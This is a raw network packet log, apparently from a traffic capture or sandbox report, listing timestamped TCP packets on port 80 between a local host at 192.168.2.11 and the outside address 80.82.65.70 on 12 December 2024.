                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.965322971 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.965401888 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.965984106 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.966053963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.966106892 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.966136932 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.966794014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.966860056 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.966901064 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.967365026 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.967685938 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.967813969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.967829943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.967863083 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.968324900 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.968388081 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.968425035 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.969099045 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.969147921 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.969321966 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.969969988 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.970000029 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.970025063 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.970057011 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.970665932 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.970752954 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.970772982 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.971440077 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.971486092 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.971524000 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.971735001 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.972520113 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.972584963 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.972624063 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.972688913 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.973145962 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.973267078 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.973284006 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.973315954 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.973804951 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.973920107 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.973951101 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.973984003 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.974606991 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.974653006 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.974709988 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.975402117 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.975462914 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.975502014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.975594044 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.976169109 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.976262093 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.976305962 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.976337910 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.976990938 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.977106094 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.977117062 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.977200031 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.977865934 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.977929115 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.977973938 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.978005886 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.978542089 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.978601933 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.978646994 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.978678942 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.979300022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.979363918 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.979384899 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.979418993 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.980072021 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.980253935 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.980288982 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.980320930 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.980812073 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.980928898 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.980951071 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.981013060 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.981664896 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.981733084 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.981771946 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.982029915 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.982410908 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.982511044 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.982570887 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.983187914 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.983374119 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.983433962 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.983968019 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.984067917 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.984124899 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.984749079 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.984858036 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.984903097 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.985574961 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.985627890 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.985752106 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.986188889 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.986409903 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.986558914 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.986635923 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.987102985 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.987170935 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.987307072 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.987363100 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.042381048 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.042438030 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.042473078 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.042521000 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.042625904 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.042695045 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.042762041 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.043236971 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.043355942 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.043385983 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.043416023 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.044023991 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.044101954 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.044246912 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.044305086 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.079353094 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.079400063 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.079488039 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.079488993 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.079713106 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.079768896 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.079895020 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.079951048 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.080466032 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.080573082 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.080574036 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.080626965 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.081275940 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.081446886 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.081489086 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.081489086 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.082055092 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.082206964 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.082284927 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.083107948 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.083174944 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.083223104 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.083595037 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.083657026 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.083704948 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.084407091 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.084542036 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.084542036 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.084649086 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.085211039 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.085283995 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.085315943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.085346937 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.085946083 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.086014032 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.086080074 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.086133957 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.086769104 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.086910963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.086966038 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.087558985 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.087666988 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.087723017 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.088382006 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.088390112 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.088442087 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.089124918 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.089183092 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.089246035 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.089313984 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.089854002 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.089937925 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.089972973 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.090034008 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.090646982 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.090703964 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.090755939 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.090814114 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.091443062 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.091496944 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.091559887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.091665030 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.092253923 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.092303038 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.092360973 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.092411041 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.093080997 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.093133926 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.093189001 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.093288898 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.093857050 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.093926907 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.093964100 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.094023943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.156950951 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.157049894 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.157164097 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.157412052 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.157433033 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.157457113 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.157457113 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.157485008 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.158108950 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.158176899 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.158195972 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.158245087 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.158912897 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.158957005 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.158970118 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.159013987 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.159718037 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.159801960 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.159837008 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.159893990 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.160437107 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.160494089 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.160541058 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.160666943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.161381006 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.161389112 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.161456108 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.162034988 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.162090063 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.162102938 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.162130117 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.162782907 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.162853003 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.162878990 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.162954092 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.163573027 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.163640976 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.163701057 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.163749933 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.164431095 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.164501905 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.164530039 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.164608002 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.165180922 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.165287018 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.165318966 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.165348053 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.165962934 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.166023970 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.166047096 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.166073084 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.166698933 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.166806936 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.166867018 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.167642117 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.167718887 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.167787075 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.168025017 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.168287039 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.168340921 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.168382883 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.168560982 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.169049025 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.169109106 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.169120073 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.169173002 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.169852018 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.169894934 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.169920921 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.169945002 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.170634985 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.170736074 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.170758963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.170833111 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.171447039 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.171504974 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.171643972 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.171792030 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.172211885 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.172274113 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.172298908 CET804981980.82.65.70192.168.2.11
